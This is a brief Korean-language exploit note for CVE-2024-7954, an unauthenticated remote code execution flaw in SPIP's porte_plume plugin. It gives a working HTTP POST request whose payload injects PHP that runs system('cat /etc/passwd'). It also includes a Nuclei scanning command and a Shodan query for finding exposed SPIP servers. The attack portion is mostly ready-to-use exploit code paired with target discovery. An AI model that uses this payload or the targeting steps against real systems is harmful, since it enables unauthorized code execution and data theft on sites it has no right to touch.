RCE_CVE-2024-7954

설명:

SPIP 4.30-alpha2, 4.2.13 및 4.1.16 이전 버전에서 사용되는 porte_plume 플러그인은 임의 코드 실행 취약점에 취약합니다. 원격의 인증되지 않은 공격자는 조작된 HTTP 요청을 전송하여 SPIP 사용자로 임의의 PHP 코드를 실행할 수 있습니다. (심각)

익스플로잇:

POST /index.php?action=porte_plume_previsu HTTP/1.1

Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded

data=AA_[->URL<?php system('cat /etc/passwd'); ?>]_BB

사용된 도구:

Nuclei -l(target file) -t(Templates) CVE-2024-7954.yml

Shodan 검색어:

app="SPIP"

참고:

1) https://github.com/fa-rrel